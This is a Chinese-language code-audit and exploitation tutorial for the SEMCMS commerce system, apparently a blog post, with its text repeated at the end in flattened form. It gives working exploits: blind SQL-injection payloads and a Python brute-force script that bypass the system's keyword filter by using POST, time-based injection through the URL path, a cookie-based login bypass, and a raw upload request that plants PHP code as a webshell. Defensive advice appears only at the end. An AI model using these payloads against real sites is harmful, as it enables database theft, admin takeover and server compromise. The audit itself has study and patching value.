某新版本商贸系统的代码审计
字数 1491 2025-08-29 08:32:19

商贸系统代码审计与漏洞利用教学文档

1. 系统概述

本教学文档基于某商贸系统(SEMCMS)的代码审计结果,详细分析系统中存在的安全漏洞及利用方法。该系统存在多处安全缺陷,包括SQL注入、认证绕过和文件上传漏洞等。

2. SQL注入漏洞分析

2.1 WAF机制分析

系统通过以下代码实现SQL注入防护:

// 防sql注入
if(isset($_GET)){ $GetArray = $_GET;} else { $GetArray = '';} //get
foreach($GetArray as $value){ //get
    verify_str($value);
}

function inject_check_sql($sql_str) {
    return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i', $sql_str);
}

function verify_str($str) {
    if(inject_check_sql($str)) {
        exit('Sorry,You do this is wrong!');
    }
    return $str;
}

WAF特点分析:

  1. 仅对GET参数进行过滤,POST参数未过滤
  2. 黑名单过滤机制,正则匹配以下关键词:
    • select, insert, =, %, <, between, update
    • 单引号', 星号*, union, into
    • load_file, outfile
  3. 过滤不严格,未过滤ascii, substr等函数
  4. 未过滤^(异或)等运算符

2.2 第一处SQL注入利用

漏洞位置:

if(isset($_POST["languageID"])){
    $Language=test_input(verify_str($_POST["languageID"]));
}else{
    $Language=verify_str($Language);
}

绕过方法:

  1. 使用POST方法传参,绕过GET过滤
  2. 利用未被过滤的函数和运算符构造payload

test_input函数分析:

function test_input($data) {
    $data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data,ENT_QUOTES);
    return $data;
}
  • 将%替换为percent
  • 去除两侧空白字符
  • 删除反斜杠
  • HTML实体编码

可利用的盲注payload示例:

languageID=2 and ascii(substr(database(),1,1))^109

自动化盲注脚本:

import requests

url = "http://localhost"
database = ""

for i in range(1,6):
    for j in range(97,127):
        payload = "1 and ascii(substr(database(),{i},1))^{j}".format(j=j,i=i)
        data = {"languageID":payload}
        c = requests.post(url=url,data=data).text
        if "Empty!" in c:
            database += chr(j)
            print(database)

2.3 第二处SQL注入利用

漏洞位置:

$web_urls=$_SERVER["REQUEST_URI"]; //获取url路径
$web_urls=explode("/",$web_urls);
$urlml=web_language_ml(@$web_urls[1],@$web_urls[2],$db_conn);

web_language_ml函数分析:

function web_language_ml($web_urls1,$web_urls2,$db_conn){
    $query=$db_conn->query("select * from sc_language where language_url='$web_urls1' or language_url='$web_urls2' and language_open=1");
    // ...
}

漏洞特点:

  1. 直接拼接URL路径到SQL语句,未经过滤
  2. 特殊字符在GET传参时被URL编码
  3. 单引号未被过滤,可闭合SQL语句
  4. 空格被处理,需使用其他方法绕过

利用方法:

/index.php/'or(sleep(3))or'

完整SQL注入payload:

/index.php/1'or+if(substr((select+min(table_name)from(information_schema.tables)where+table_schema=(database())&&table_name!='sc_banner'),1,1)>'a',sleep(15),1)#

3. 认证绕过漏洞

漏洞位置:

function checkuser($db_conn){
    $cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
    $cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));
    $query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");
    // ...
}

漏洞原理:

  1. 从Cookie中获取用户名和密码
  2. 直接拼接至SQL语句,存在SQL注入

利用方法:

  1. 构造恶意Cookie值:
    • scuseradmin=111\
    • scuserpass=or 1#
  2. 最终SQL语句:
    select * from sc_user where user_admin='111\' and user_ps='or 1#'
    

4. 文件上传漏洞与Getshell

4.1 漏洞利用过程

  1. 制作包含PHP代码的图片文件
  2. 在后台管理页面提交图片上传
  3. 使用BurpSuite拦截修改请求

请求示例:

POST /SEMCMS3.9/OSWttq_Admin/SEMCMS_Upfile.php HTTP/1.1
Host: localhost
Content-Type: multipart/form-data; boundary=3369516516527364944820946580

--3369516516527364944820946580
Content-Disposition: form-data; name="wname"
111
--3369516516527364944820946580
Content-Disposition: form-data; name="file"; filename="test.jpg"
Content-Type: image/jpeg

<?php phpinfo();
--3369516516527364944820946580
Content-Disposition: form-data; name="imageurl"
../Images/prdoucts/
--3369516516527364944820946580--
  1. 修改重命名文件为111.jpg.php:
  2. 第二次提交时修改上传文件名为test.jpg<<<

4.2 漏洞原理分析

关键代码:

if(test_input($_POST["wname"])){ //自定义文件名
    $newname=test_input($_POST["wname"]).".".end($uptype); //新的文件名
}

漏洞成因:

  1. 文件名命名格式处理不当
  2. 冒号可能导致截断,使.jpg未被正确拼接
  3. <<<可能被系统特殊处理

4.3 潜在的其他Getshell点

Mbapp函数分析:

function Mbapp($mb,$lujin,$mblujin,$dirpaths,$htmlopen){
    if($htmlopen==1){$ml="j";}else{$ml="d";}
    $template="index.php,hta/".$ml."/.htaccess";
    $template_mb=explode(",",$template);
    for($i=0;$i<count($template_mb);$i++){
        $template_o = file_get_contents($mblujin.'Templete/'.$mb.'/Include/'.$template_mb[$i]);
        $templateUrl = $lujin.str_replace("hta/".$ml,$template_mb[$i]);
        $output = str_replace('<{Template}>', $mb, $template_o);
        $output = str_replace('<{dirpaths}>', $dirpaths, $output);
        file_put_contents($templateUrl, $output);
    }
}

潜在利用方式:

  1. $mb参数可控
  2. 通过模板目录提取index.php和.htaccess文件
  3. 替换<{Template}>标签后写入主目录
  4. 可能通过控制模板内容实现代码执行

5. 防御建议

  1. SQL注入防御:

    • 使用预处理语句(PDO或mysqli_prepare)
    • 统一过滤所有输入参数(GET/POST/COOKIE)
    • 实现白名单过滤机制
  2. 认证安全:

    • 使用密码哈希存储(如password_hash)
    • 实现CSRF防护
    • 使用Session而非Cookie存储认证状态
  3. 文件上传安全:

    • 严格验证文件类型(MIME类型+文件头)
    • 重命名上传文件为随机名称
    • 限制上传目录的脚本执行权限
    • 禁止用户控制上传文件路径
  4. 代码安全:

    • 禁用危险函数(如system, exec, passthru等)
    • 实现严格的输入输出过滤
    • 定期进行安全审计和代码审查

6. 总结

本商贸系统存在多处严重安全漏洞,攻击者可利用这些漏洞实现:

  1. 通过SQL注入获取数据库敏感信息
  2. 绕过认证机制获得管理员权限
  3. 上传恶意文件获取服务器控制权

开发人员应重视安全编码实践,系统管理员应及时修补这些漏洞,避免造成安全事件。

商贸系统代码审计与漏洞利用教学文档 1. 系统概述 本教学文档基于某商贸系统(SEMCMS)的代码审计结果,详细分析系统中存在的安全漏洞及利用方法。该系统存在多处安全缺陷,包括SQL注入、认证绕过和文件上传漏洞等。 2. SQL注入漏洞分析 2.1 WAF机制分析 系统通过以下代码实现SQL注入防护: WAF特点分析: 仅对GET参数进行过滤,POST参数未过滤 黑名单过滤机制,正则匹配以下关键词: select , insert , = , % , < , between , update 单引号 ' , 星号 * , union , into load_file , outfile 过滤不严格,未过滤 ascii , substr 等函数 未过滤 ^ (异或)等运算符 2.2 第一处SQL注入利用 漏洞位置: 绕过方法: 使用POST方法传参,绕过GET过滤 利用未被过滤的函数和运算符构造payload test_ input函数分析: 将%替换为percent 去除两侧空白字符 删除反斜杠 HTML实体编码 可利用的盲注payload示例: 自动化盲注脚本: 2.3 第二处SQL注入利用 漏洞位置: web_ language_ ml函数分析: 漏洞特点: 直接拼接URL路径到SQL语句,未经过滤 特殊字符在GET传参时被URL编码 单引号未被过滤,可闭合SQL语句 空格被处理,需使用其他方法绕过 利用方法: 完整SQL注入payload: 3. 认证绕过漏洞 漏洞位置: 漏洞原理: 从Cookie中获取用户名和密码 直接拼接至SQL语句,存在SQL注入 利用方法: 构造恶意Cookie值: scuseradmin=111\ scuserpass=or 1# 最终SQL语句: 4. 文件上传漏洞与Getshell 4.1 漏洞利用过程 制作包含PHP代码的图片文件 在后台管理页面提交图片上传 使用BurpSuite拦截修改请求 请求示例: 修改重命名文件为 111.jpg.php: 第二次提交时修改上传文件名为 test.jpg<<< 4.2 漏洞原理分析 关键代码: 漏洞成因: 文件名命名格式处理不当 冒号可能导致截断,使 .jpg 未被正确拼接 <<< 可能被系统特殊处理 4.3 潜在的其他Getshell点 Mbapp函数分析: 潜在利用方式: $mb 参数可控 通过模板目录提取index.php和.htaccess文件 替换 <{Template}> 标签后写入主目录 可能通过控制模板内容实现代码执行 5. 防御建议 SQL注入防御: 使用预处理语句(PDO或mysqli_ prepare) 统一过滤所有输入参数(GET/POST/COOKIE) 实现白名单过滤机制 认证安全: 使用密码哈希存储(如password_ hash) 实现CSRF防护 使用Session而非Cookie存储认证状态 文件上传安全: 严格验证文件类型(MIME类型+文件头) 重命名上传文件为随机名称 限制上传目录的脚本执行权限 禁止用户控制上传文件路径 代码安全: 禁用危险函数(如system, exec, passthru等) 实现严格的输入输出过滤 定期进行安全审计和代码审查 6. 总结 本商贸系统存在多处严重安全漏洞,攻击者可利用这些漏洞实现: 通过SQL注入获取数据库敏感信息 绕过认证机制获得管理员权限 上传恶意文件获取服务器控制权 开发人员应重视安全编码实践,系统管理员应及时修补这些漏洞,避免造成安全事件。